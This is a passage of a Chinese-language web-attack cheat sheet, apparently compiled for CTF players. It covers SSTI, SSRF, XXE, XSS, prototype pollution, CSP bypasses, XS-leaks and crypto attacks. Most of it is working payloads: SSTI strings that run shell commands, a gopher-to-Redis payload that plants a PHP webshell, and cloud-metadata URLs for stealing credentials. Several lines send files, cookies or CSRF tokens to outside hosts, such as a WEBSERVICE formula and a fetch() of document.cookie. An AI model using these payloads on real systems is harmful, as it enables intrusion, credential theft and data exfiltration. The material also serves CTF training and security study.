- JDK 6u45, 7u21 開始,
useCodebaseOnly
預設為 true- 禁止自動載入遠端 class 文件
- JDK 6u132, 7u122, 8u113 下,
com.sun.jndi.rmi.object.trustURLCodebase
,com.sun.jndi.cosnaming.object.trustURLCodebase
預設為 false- RMI 預設不允許從遠端 Codebase 載入 Reference class
- JDK 11.0.1, 8u191, 7u201, 6u211 後,
com.sun.jndi.ldap.object.trustURLCodebase
預設為 false- LDAP 預設不允許從遠端 Codebase 載入 Reference class
- JDK 6u45, 7u21 開始,
- Tool
- yososerial
- URLDNS: 不依賴任何額外library,可以用來做 dnslog 驗證
- CommonCollections 1~7: Common collections 各版本 gadget chain
- ...
- BaRMIe
- 專打 Java RMI (enumerating, attacking)
- marshalsec
- SerializationDumper
- 分析 Serialization Stream,如Magic頭、serialVersionUID、newHandle等
- gadgetinspector
- Bytecode Analyzer
- 找 gadget chain
- GadgetProbe
- 透過字典檔配合DNS callback,判斷環境使用哪些library, class等資訊
- yososerial
- Java-Deserialization-Cheat-Sheet
- Example
- 0CTF 2019 Final - hotel booking system
- TrendMicro CTF 2018 Qual - Forensics 300
- TrendMicro CTF 2019 Qual - Forensics 300
- TrendMicro CTF 2019 Final - RMIart
- Tool
- asp.net 中 ViewState 以序列化形式保存資料
- 有 machinekey 或 viewstate 未加密/驗證時,有機會 RCE
- Example
Server-Side Template Injection
{{ 7*'7' }}
- Twig:
49
- Jinja2:
7777777
- Twig:
<%= 7*7 %>
- Ruby ERB:
49
- Ruby ERB:
-
Dump all used classes
{{ ''.__class__.__mro__[2].__subclasses__() }}
-
Read File
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
-
Write File
{{''.__class__.__mro__[2].__subclasses__()[40]('/var/www/app/a.txt', 'w').write('Kaibro Yo!')}}
-
RCE
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
- evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
- load config
{{ config['RUNCMD']('cat flag',shell=True) }}
-
RCE (another way)
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls').read()}}
-
Python3 RCE
-
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
-
-
過濾中括號
__getitem__
{{''.__class__.__mro__.__getitem__(2)}}
{{''.__class__.__mro__[2]}}
-
過濾
{{
or}}
- 用
{%%}
- 執行結果往外傳
- 用
-
過濾
.
{{''.__class__}}
{{''['__class__']}}
{{''|attr('__class__')}}
-
過濾Keyword
- 用
\xff
形式去繞 {{''["\x5f\x5fclass\x5f\x5f"]}}
- 用
-
用request繞
{{''.__class__}}
{{''[request.args.kaibro]}}&kaibro=__class__
- RCE
{{['id']|map('passthru')}}
{{['id']|filter('system')}}
{{app.request.query.filter(0,'curl${IFS}kaibro.tw',1024,{'options':'system'})}}
{{_self.env.setCache("ftp://attacker.net:21")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
- Read file
{{'/etc/passwd'|file_excerpt(30)}}
- Version
{{constant('Twig\\Environment::VERSION')}}
- Java
- Some payload
__${T(java.lang.Runtime).getRuntime().availableProcessors()}__::..x
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
- Example
- v1.6後移除Sandbox
- Payload
{{ 7*7 }}
=> 49{{ this }}
{{ this.toString() }}
{{ constructor.toString() }}
{{ constructor.constructor('alert(1)')() }}
2.1 v1.0.1-v1.1.5{{ a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')() }}
2.1 v1.0.1-v1.1.5{{ toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor) }}
2.3 v1.2.19-v1.2.23{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
v1.2.24-v1.2.29{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
v1.3.20{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
v1.4.0-v1.4.9{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
v1.5.0-v1.5.8{{ [].pop.constructor('alert(1)')() }}
2.8 v1.6.0-1.6.6
{{constructor.constructor('alert(1)')()}}
- https://github.com/dotboris/vuejs-serverside-template-xss
%
- 輸入
%(passowrd)s
即可偷到密碼:
userdata = {"user" : "kaibro", "password" : "ggininder" } passwd = raw_input("Password: ") if passwd != userdata["password"]: print ("Password " + passwd + " is wrong for user %(user)s") % userdata
- 輸入
f
- python 3.6
- example
a="gg"
b=f"{a} ininder"
>>> gg ininder
- example2
f"{os.system('ls')}"
http://blog.portswigger.net/2015/08/server-side-template-injection.html
127.0.0.1
127.00000.00000.0001
localhost
127.0.1
127.1
0.0.0.0
0.0
0
::1
::127.0.0.1
::ffff:127.0.0.1
::1%1
127.12.34.56 (127.0.0.1/8)
127.0.0.1.xip.io
http://2130706433 (decimal)
http://0x7f000001
http://017700000001
http://0x7f.0x0.0x0.0x1
http://0177.0.0.1
http://0177.01.01.01
http://0x7f.1
http://[::]
http://ⓀⒶⒾⒷⓇⓄ.ⓉⓌ
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
- port scan
127.0.0.1:80
=> OK127.0.0.1:87
=> Timeout127.0.0.1:9487
=> Timeout
- 用來繞過protocol限制
- 第一次SSRF,網站有做檢查、過濾
- 302跳轉做第二次SSRF沒有檢查
-
file protocol
file:///etc/passwd
file:///proc/self/cmdline
- 看他在跑啥
file:///proc/self/exe
- dump binary
file:///proc/self/environ
- 讀環境變數
curl file://google.com/etc/passwd
- 新版已修掉
- 實測libcurl 7.47可work
- Java原生可列目錄 (netdoc亦可)
- Perl/Ruby open Command Injection
-
Libreoffice CVE-2018-6871
- 可以使用
WEBSERVICE
讀本地檔案,e.g./etc/passwd
- 讀出來可以用http往外傳
=COM.MICROSOFT.WEBSERVICE("http://kaibro.tw/"&COM.MICROSOFT.WEBSERVICE("/etc/passwd"))
- e.g. DCTF 2018 final, FBCTF 2019
- Example Payload: Link
- 可以使用
- Gopher
- 可偽造任意TCP,hen蚌
gopher://127.0.0.1:5278/xGG%0d%0aININDER
- 常見例子
-
Struts2
- S2-016
action:
、redirect:
、redirectAction:
index.do?redirect:${new java.lang.ProcessBuilder('id').start()}
- S2-016
-
ElasticSearch
- default port:
9200
- default port:
-
Redis
- default port:
6379
- 用SAVE寫shell
FLUSHALL SET myshell "<?php system($_GET['cmd']) ?>" CONFIG SET DIR /www CONFIG SET DBFILENAME shell.php SAVE QUIT
- URLencoded payload:
gopher://127.0.0.1:6379/_FLUSHALL%0D%0ASET%20myshell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0D%0ACONFIG%20SET%20DIR%20%2fwww%2f%0D%0ACONFIG%20SET%20DBFILENAME%20shell.php%0D%0ASAVE%0D%0AQUIT
- default port:
-
FastCGI
- default port: 9000
- example
- Discuz Pwn
- 302.php:
<?php header( "Location: gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%00%01%04Zh%00%8b%00%00%0E%03REQUEST_METHODGET%0F%0FSCRIPT_FILENAME/www//index.php%0F%16PHP_ADMIN_VALUEallow_url_include%20=%20On%09%26PHP_VALUEauto_prepend_file%20=%20http://kaibro.tw/x%01%04Zh%00%00%00%00%01%05Zh%00%00%00%00" );
- x:
<?php system($_GET['cmd']); ?>
- visit:
/forum.php?mod=ajax&action=downremoteimg&message=[img]http://kaibro.tw/302.php?.jpg[/img]
- 302.php:
- Discuz Pwn
-
MySQL
- 無密碼認證可以SSRF
- MySQL Client與Server交互主要分兩階段
- Connection Phase
- Command Phase
gopher://127.0.0.1:3306/_<PAYLOAD>
- Tool: https://github.com/undefinedd/extract0r-
-
Tomcat
- 透過 tomcat manager 部署 war
- 要先有帳密,可以從
tomcat-users.xml
讀,或是踹預設密碼 - Tool: https://github.com/pimps/gopher-tomcat-deployer
- e.g. CTFZone 2019 qual - Catcontrol
-
Docker
- Remote api未授權訪問
- 開一個container,掛載/root/,寫ssh key
- 寫crontab彈shell
docker -H tcp://ip xxxx
- Remote api未授權訪問
-
ImageMagick - CVE-2016-3718
- 可以發送HTTP或FTP request
- payload: ssrf.mvg
push graphic-context viewbox 0 0 640 480 fill 'url(http://example.com/)' pop graphic-context
$ convert ssrf.mvg out.png
-
- http://169.254.169.254/latest/user-data
- http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
- http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
- http://169.254.169.254/latest/meta-data/ami-id
- http://169.254.169.254/latest/meta-data/reservation-id
- http://169.254.169.254/latest/meta-data/hostname
- http://169.254.169.254/latest/meta-data/public-keys/
- http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
- http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
- http://metadata.google.internal/computeMetadata/v1/
- http://metadata.google.internal/computeMetadata/v1beta1/
- 請求不用加上 header
- http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
- Access Token
- Check the scope of access token:
curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=XXXXXXXXXXXXXXXXXXX"
- Call the Google api with token:
curl "https://www.googleapis.com/storage/v1/b?project=<your_project_id>" -H "Authorization: Bearer ya29..."
(list buckets)
- http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json
- SSH public key
- http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json
- kub-env
- http://metadata.google.internal/computeMetadata/v1beta1/project/project-id
- http://metadata.google.internal/computeMetadata/v1beta1/instance/name
- http://metadata.google.internal/computeMetadata/v1beta1/instance/hostname
- http://metadata.google.internal/computeMetadata/v1beta1/instance/zone
- http://169.254.169.254/metadata/v1.json
- http://169.254.169.254/metadata/v1/
- http://169.254.169.254/metadata/v1/id
- http://169.254.169.254/metadata/v1/user-data
- http://169.254.169.254/metadata/v1/hostname
- http://169.254.169.254/metadata/v1/region
- http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address
- http://169.254.169.254/metadata/v1/maintenance
- http://169.254.169.254/metadata/instance?api-version=2020-06-01
- 需要加上
Metadata: true
header
- 需要加上
- http://100.100.100.200/latest/meta-data/
- http://100.100.100.200/latest/meta-data/instance-id
- http://100.100.100.200/latest/meta-data/image-id
SECCON 2017 SqlSRF:
127.0.0.1 %0D%0AHELO sqlsrf.pwn.seccon.jp%0D%0AMAIL FROM%3A %3Ckaibrotw%40gmail.com%3E%0D%0ARCPT TO%3A %3Croot%40localhost%3E%0D%0ADATA%0D%0ASubject%3A give me flag%0D%0Agive me flag%0D%0A.%0D%0AQUIT%0D%0A:25/
- dict
dict://evil.com:5566
$ nc -vl 5566
Listening on [0.0.0.0] (family 0, port 5278)
Connection from [x.x.x.x] port 5566 [tcp/*] accepted (family 2, sport 40790)
CLIENT libcurl 7.35.0
-> libcurl version
- sftp
sftp://evil.com:5566
$ nc -vl 5566
Listening on [0.0.0.0] (family 0, port 5278)
Connection from [x.x.x.x] port 5278 [tcp/*] accepted (family 2, sport 40810)
SSH-2.0-libssh2_1.4.2
-> ssh version
- Content-Length
- 送超大Content-length
- 連線hang住判斷是否為HTTP Service
- tftp
tftp://evil.com:5566/TEST
- syslog
SSRF Bible:
https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit
Testing Payload:
https://github.com/cujanovic/SSRF-Testing
<!DOCTYPE kaibro[
<!ENTITY param "hello">
]>
<root>¶m;</root>
libxml2.9.0
以後,預設不解析外部實體simplexml_load_file()
舊版本中預設解析實體,但新版要指定第三個參數LIBXML_NOENT
SimpleXMLElement
is a class in PHP
<!DOCTYPE kaibro[
<!ENTITY xxe SYSTEM "http://kaibro.tw/xxe.txt">
]>
<root>&xxe;</root>
<!DOCTYPE kaibro[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!DOCTYPE kaibro[
<!ENTITY xxe SYSTEM "\\12.34.56.78">
]>
<root>&xxe;</root>
<!DOCTYPE kaibro[
<!ENTITY % remote SYSTEM "http://kaibro.tw/xxe.dtd">
%remote;
]>
<root>&b;</root>
xxe.dtd: <!ENTITY b SYSTEM "file:///etc/passwd">
- Blind 無回顯
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/xxe/test.php">
<!ENTITY % remote SYSTEM "http://kaibro.tw/xxe.dtd">
%remote;
%all;
%send;
]>
xxe.dtd:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://kaibro.tw/?a=%file;'>">
- Billion Laugh Attack
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE ernw [
<!ENTITY xxe SYSTEM "phar:///var/www/html/images/gginin/xxxx.jpeg" > ]>
<svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-family="Verdana" font-size="16" x="10" y="40">&xxe;</text>
</svg>
- Example: MidnightSun CTF - Rubenscube
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message[
<!ELEMENT message ANY >
<!ENTITY % NUMBER '<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%NUMBER;
]>
<message>a</message>
- Example: Google CTF 2019 Qual - bnv
<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://kaibro.tw:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>
- DOCX
- XLSX
- PPTX
- https://github.com/BuffaloWill/oxml_xxe
goodshit = {}
goodshit.__proto__.password = "ggininder"
user = {}
console.log(user.password)
# => ggininder
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
# => 1 2
o3 = {}
console.log(o3.b)
# => 2
-
CVE-2019-11358
- jQuery < 3.4.0
$.extend
let a = $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}')) console.log({}.devMode); // true
-
SNYK-JS-LODASH-608086
- versions < 4.17.17
- 觸發點:
setWith()
,set()
- Payload:
setWith({}, "__proto__[test]", "123")
set({}, "__proto__[test2]", "456")
-
CVE-2020-8203
- versions < 4.17.16
- 觸發點:
zipObjectDeep()
- Payload:
zipObjectDeep(['__proto__.z'],[123])
console.log(z)
=> 123
-
CVE-2019-10744
- versions < 4.17.12
- 觸發點:
defaultsDeep()
- Payload:
{"type":"test","content":{"prototype":{"constructor":{"a":"b"}}}}
- Example:
-
CVE-2018-16487 / CVE-2018-3721
- versions < 4.17.11
- 觸發點:
merge()
,mergeWith()
,defaultsDeep()
var _= require('lodash'); var malicious_payload = '{"__proto__":{"oops":"It works !"}}'; var a = {}; _.merge({}, JSON.parse(malicious_payload));
- https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf
- https://github.com/BlackFan/client-side-prototype-pollution
- https://github.com/msrkp/PPScan
- EJS RCE
outputFunctionName
- 直接拼接到模板執行
- 污染即可RCE:
Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').exec('touch pwned');x";
- 補充: 不需要Prototype Pollution的RCE (ejs render誤用)
- 漏洞成因:
res.render('index.ejs', req.body);
req.body
會污染到options
進而污染到outputFunctionName
(HPP)- Example: AIS3 EOF 2019 Quals - echo
- 漏洞成因:
<script>alert(1)</script>
<svg/onload=alert(1)>
<img src=# onerror=alert(1)>
<a href="javascript:alert(1)">g</a>
<input type="text" value="g" onmouseover="alert(1)" />
<iframe src="javascript:alert(1)"></iframe>
- ...
<script>alert(1)</script>
'"><script>alert(1)</script>
<img/src=@ onerror=alert(1)/>
'"><img/src=@ onerror=alert(1)/>
' onmouseover=alert(1) x='
" onmouseover=alert(1) x="
`onmouseover=alert(1) x=`
javascript:alert(1)//
- ....
//
(javascript註解)被過濾時,可以利用算數運算符代替<a href="javascript:alert(1)-abcde">xss</a>
- HTML特性
- 不分大小寫
<ScRipT>
<img SrC=#>
- 屬性值
src="#"
src='#'
src=#
src=`#`
(IE)
- 不分大小寫
- 編碼繞過
<svg/onload=alert(1)>
<svg/onload=alert(1)>
(16進位) (分號可去掉)
- 繞空白
<img/src='1'/onerror=alert(0)>
-
特殊標籤
- 以下標籤中的腳本無法執行
<title>
,<textarea>
,<iframe>
,<plaintext>
,<noscript>
...
-
偽協議
- javascript:
<a href=javascript:alert(1) >xss</a>
- data:
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>xss</a>
- javascript:
-
Javascript自解碼機制
<input type="button" onclick="document.write('<img src=@ onerror=alert(1) />')" />
- 會成功
alert(1)
,因為javascript位於HTML中,在執行javascript前會先解碼HTML編碼 - 但若是包在
<script>
中的javascript,不會解碼HTML編碼 - 此編碼為HTML entity和
&#xH;
(hex),&#D;
(dec)形式
-
Javascript中有三套編碼/解碼函數
- escape/unescape
- encodeURI/decodeURI
- encodeURIComponent/decodeURICompinent
-
一些alert(document.domain)的方法
(alert)(document.domain);
al\u0065rt(document.domain);
al\u{65}rt(document.domain);
window['alert'](document.domain);
alert.call(null,document.domain);
alert.bind()(document.domain);
- https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309
-
Some Payload
<svg/onload=alert(1);alert(2)>
<svg/onload="alert(1);alert(2)">
<svg/onload="alert(1);alert(2)">
;;
改成;
會失敗- 雙引號可去掉
- 可10進位, 16進位混合
<svg/onload=\u0061\u006c\u0065\u0072\u0074(1)>
- \u形式只能用在javascript,例如onload的a改成\u0061會失敗
<title><a href="</title><svg/onload=alert(1)>
- title優先權較大,直接中斷其他標籤
<svg><script>prompt(1)</script>
- 因為
<svg>
,HTML Entities會被解析 - 去掉
<svg>
會失敗,<script>
不會解析Entities
- 因為
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<% foo="><script>alert(1)</script>">
-
Markdown XSS
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)
- ...
-
SVG XSS
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
- iframe srcdoc XSS
<iframe srcdoc="<svg/onload=alert(document.domain)>">
- Polyglot XSS
- Example: PlaidCTF 2018 wave XSS
- 上傳.wave檔 (會檢查signatures)
RIFF`....WAVE...` alert(1); function RIFF(){}
- 變成合法的js語法
- wave在apache mime type中沒有被定義
<script src="uploads/this_file.wave">
https://csp-evaluator.withgoogle.com/
-
base
- 改變資源載入的域,引入惡意的js
<base href ="http://kaibro.tw/">
- RCTF 2018 - rBlog
-
script nonce
<p>可控內容<p> <script src="xxx" nonce="AAAAAAAAAAA"></script>
插入
<script src="http//kaibro.tw/uccu.js" a="
<p><script src="http//kaibro.tw/uccu.js" a="<p> <script src="xxx" nonce="AAAAAAAAAAA"></script>
-
Script Gadget
- https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
- is an existing JS code on the page that may be used to bypass mitigations
- Bypassing CSP strict-dynamic via Bootstrap
<div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'></div>
- Bypassing sanitizers via jQuery Mobile
<div data-role=popup id='--><script>alert(1)</script>'></div>
- Bypassing NoScript via Closure (DOM clobbering)
<a id=CLOSURE_BASE_PATH href=http://attacker/xss></a>
- Bypassing ModSecurity CRS via Dojo Toolkit
<div data-dojo-type="dijit/Declaration" data-dojo-props="}-alert(1)-{">
- Bypassing CSP unsafe-eval via underscore templates
<div type=underscore/template> <% alert(1) %> </div>
- 0CTF 2018 - h4xors.club2
-
google analytics ea
- ea is used to log actions and can contain arbitrary string
- Google CTF 2018 - gcalc2
- htm
- html
- svg
- xml
- xsl
- rdf
- firefox only?
text/rdf
/application/rdf+xml
- vtt
- IE/Edge only?
text/vtt
- shtml
- xhtml
- mht / mhtml
- var
- HITCON CTF 2020 - oStyle
- 預設安裝Apache包含mod_negotiation模組,可以設置Response中的
Content-*
屬性
Content-language: en
Content-type: text/html
Body:----foo----
<script>
fetch('http://orange.tw/?' + escape(document.cookie))
</script>
----foo----
- XSS
- https://github.com/BlackFan/content-type-research/blob/master/XSS.md
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/xsl
- application/vnd.wap.xhtml+xml
- multipart/x-mixed-replace
- text/rdf
- application/rdf+xml
- application/mathml+xml
- text/vtt
- text/cache-manifest
$.getJSON
/$.ajax
XSS- 當 URL 長得像
http://kaibro.tw/x.php?callback=anything
- 會自動判斷成 jsonp callback,然後以 javascript 執行
- Example: VolgaCTF 2020 Qualifier - User Center
- 當 URL 長得像
- http://utf-8.jp/public/aaencode.html
- https://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html
- http://example.com/a%2findex.php
- 瀏覽器會把
a%2findex.php
當成一個檔案 - Web Server則會正常解析成
a/index.php
- 所以當使用相對路徑載入css時,就可以透過這種方式讓瀏覽器解析到其他層目錄下的檔案
- 如果該檔案內容可控,則有機會XSS
- 舉例:
/test.php
中有<link href="1/" ...>
- 另有
/1/index.php
給?query=
參數,會直接輸出該參數內容 - 訪問
/1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php
就會讓背景變紅色- Server:
/test.php
- Browser:
/1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php
- CSS會載入
/1/?query={}*{background-color:red}/../../1/
- CSS會載入
- CSS語法容錯率很高
- Server:
- 瀏覽器會把
- CSS可控時,可以Leak Information
- Example:
- leak
<input type='hidden' name='csrf' value='2e3d04bf...'>
input[name=csrf][value^="2"]{background: url(http://kaibro.tw/2)}
input[name=csrf][value^="2e"]{background: url(http://kaibro.tw/2e)}
- ...
- SECCON CTF 2018 - GhostKingdom
- leak
- Cross-Site Browser Side channel attack
- xsleaks wiki
- 不同狀態有不同數量的frame
- 用
window.frames.length
來判斷- 狀態A => frame count = x
- 狀態B => frame count = y
- x != y
- e.g. Facebook CTF - Secret Note Keeper
- 找到結果 => frame count >= 1
- 沒找到 => frame count = 0
- 不同狀態有不同回應時間
- Time(有結果) > Time(沒結果)
- 有結果時,會需要載入比較多東西
- iframe正常訪問,會觸發一次onload事件
- 在iframe.src尾,加上
#
做請求,正常不會再觸發onload事件 - 但如果原本頁面被filter block,則會有第二次onload
- 第二次請求變成
chrome-error://chromewebdata/#
- 第二次請求變成
- 可以判斷頁面狀態
- 正常 => 1次onload
- 被Blocked => 2次onload
- 也能用
history.length
判斷 - e.g. 35C3 - filemanager
- 清空目標 Cache
- 送 POST 請求
- 查詢內容
<link rel=prerender href="victim.com">
- 檢查是否 Cache 該內容
- Referrer 設超長,然後訪問該資源
- 有 cache => 顯示資源
- 沒 cache => 抓不到資源
<form id=test1></form>
<form name=test2></form>
<script>
console.log(test1); // <form id=test1></form>
console.log(test2); // <form name=test2></form>
console.log(document.test1); // undefined
console.log(document.test2); // <form name=test2></form>
</script>
id
屬性被當成全域變數name
屬性被當成document
屬性
- 覆蓋原生函數
<form name="getElementById"></form>
<form id="form"></form>
<script>
console.log(document.getElementById("form")); // Error
</script>
<script>
console.log("I'll be executed!");
</script>
這裡第一個script block因為錯誤被跳過,第二個script block依舊會執行 (常拿來繞檢查)
-
toString 問題
<form id=test1><input name=test2></form> <script> alert(test1.test2); // "[object HTMLInputElement]" </script>
<a>
的href
可以解決toString問題:<a id=test1 href=http://kaibro.tw>
alert(test1);
=>http://kaibro.tw
<form id=test1><a name=test2 href=http://kaibro.tw></form>
依舊有問題alert(test1.test2);
=>undefined
- 解法見下面HTMLCollection
- HTMLCollection
<a id=test1>click!</a>
<a id=test1>click2!</a>
<script>
console.log(window.test1); // <HTMLCollection(2) [a#test1, a#test1, test1: a#test1]
</script>
name
屬性也會直接變成 HTMLCollection
的屬性:
<a id="test1"></a>
<a id="test1" name="test2" href="x:alert(1)"></a>
<script>
alert(window.test1.test2); // x:alert(1)
</script>
-
php 7.1.0後
rand()
和srand()
已經等同mt_rand()
和mt_srand()
-
php > 4.2.0 會自動對
srand()
和mt_srand()
播種- 只進行一次seed,不會每次
rand()
都seed
- 只進行一次seed,不會每次
-
可以通過已知的random結果,去推算隨機數種子,然後就可以推算整個隨機數序列
-
實際應用上可能會碰到連上的不是同個process,可以用
Keep-Alive
來確保連上同個php process(只會seed一次) -
7.1以前
rand()
使用libc random(),其核心為:state[i] = state[i-3] + state[i-31]
- 所以只要有31個連續隨機數就能預測接下來的隨機數
- 後來
rand()
alias成mt_rand()
,採用的是Mersenne Twister
算法
-
Example: HITCON 2015 - Giraffe’s Coffee
- 每個Block加密方式都一樣,所以可以把Block隨意排列
- 舉例:
user=kaibro;role=user
- 假設Block長度為8
- 構造一下user: (
|
用來區隔Block)user=aaa|admin;ro|le=user
user=aaa|aa;role=|user
- 排列一下:(上面每塊加密後的Block都已知)
user=aaa|aa;role=|admin;ro
- Example: AIS3 2017 pre-exam
ECB(K, A + B + C)
的運算結果可知- B可控
- K, A, C未知
- C的內容可以透過以下方法爆出來:
- 找出最小的長度L
- 使得將B改成L個a,該段pattern剛好重複兩次
...bbbb bbaa aaaa aaaa cccc ...
...???? ???? 5678 5678 ???? ...
- 改成L-1個a,可得到
ECB(K, "aa...a" + C[0])
這個Block的內容 - C[0]可爆破求得,後面也依此類推
- 常見發生場景:Cookie
- 假設IV為A、中間值為B (Block Decrypt後結果)、明文為C
- CBC mode解密時,
A XOR B = C
- 若要使輸出明文變
X
- 修改A為
A XOR C XOR X
- 則原本式子變成
(A XOR C XOR X) XOR B = X
PKCS#7
- Padding方式:不足x個Byte,就補x個x
- 例如:Block長度8
AA AA AA AA AA AA AA 01
AA AA AA AA AA AA 02 02
AA AA AA AA AA 03 03 03
- ...
08 08 08 08 08 08 08 08
- 在常見情況下,如果解密出來發現Padding是爛的,會噴Exception或Error
- 例如:HTTP 500 Internal Server Error
- 須注意以下這類情況,不會噴錯:
AA AA AA AA AA AA 01 01
AA AA 02 02 02 02 02 02
- Padding方式:不足x個Byte,就補x個x
- 原理:
- CBC mode下,前一塊密文會當作當前這塊的IV,做XOR
- 如果構造
A||B
去解密 (A, B是密文Block) - 此時,A會被當作B的IV,B會被解成
D(B) XOR A
- 可以透過調整A,使得Padding變合法,就可以得到
D(B)
的值- 例如:要解最後1 Byte
- 想辦法讓最後解出來變成
01
結尾 - 運氣不好時,可能剛好碰到
02 02
結尾,可以調整一下A倒數第2 Byte D(B)[-1] XOR A[-1] = 01
D(B)[-1] = A[-1] XOR 01
- 有最後1 Byte就可以依此類推,調整倒數第2 Byte
D(B) XOR C
就能得到明文 (C為前一塊真正的密文)
- 很多hash算法都可能存在此攻擊,例如
md5
,sha1
,sha256
... - 主要是因為他們都使用Merkle-Damgard hash construction
- 會依照64 Byte分組,不足會padding
- 1 byte的
0x80
+一堆0x00
+8 bytes的長度
- 1 byte的
- IV是寫死的,且每一組輸出結果會當下一組的輸入
- 攻擊條件: (這裏md5換成sha1, sha256...也通用)
- 已知
md5(secret+message)
- 已知
secret長度
- 已知
message內容
- 已知
- 符合三個條件就能構造
md5(secret+message+padding+任意字串)
- 工具 - hashpump
- 基本用法:
- 輸入
md5(secret+message)
的值 - 輸入
message
的值 - 輸入
secert長度
- 輸入要加在後面的字串
- 最後會把
md5(secret+message+padding+任意字串)
和message+padding+任意字串
噴給你
- 輸入
- 基本用法:
-
Information leak
- .git / .svn
- robots.txt
- /.well-known
- .DS_Store
- .htaccess
- .pyc
- package.json
- server-status
- crossdomain.xml
- admin/ manager/ login/ backup/ wp-login/ phpMyAdmin/
- xxx.php.bak / www.tar.gz / .xxx.php.swp / xxx.php~ / xxx.phps
- /WEB-INF/web.xml
-
文件解析漏洞
- Apache
- shell.php.ggininder
- shell.php%0a
- httpd 2.4.0 to 2.4.29
- CVE-2017-15715
- IIS
- IIS < 7
- a.asp/user.jpg
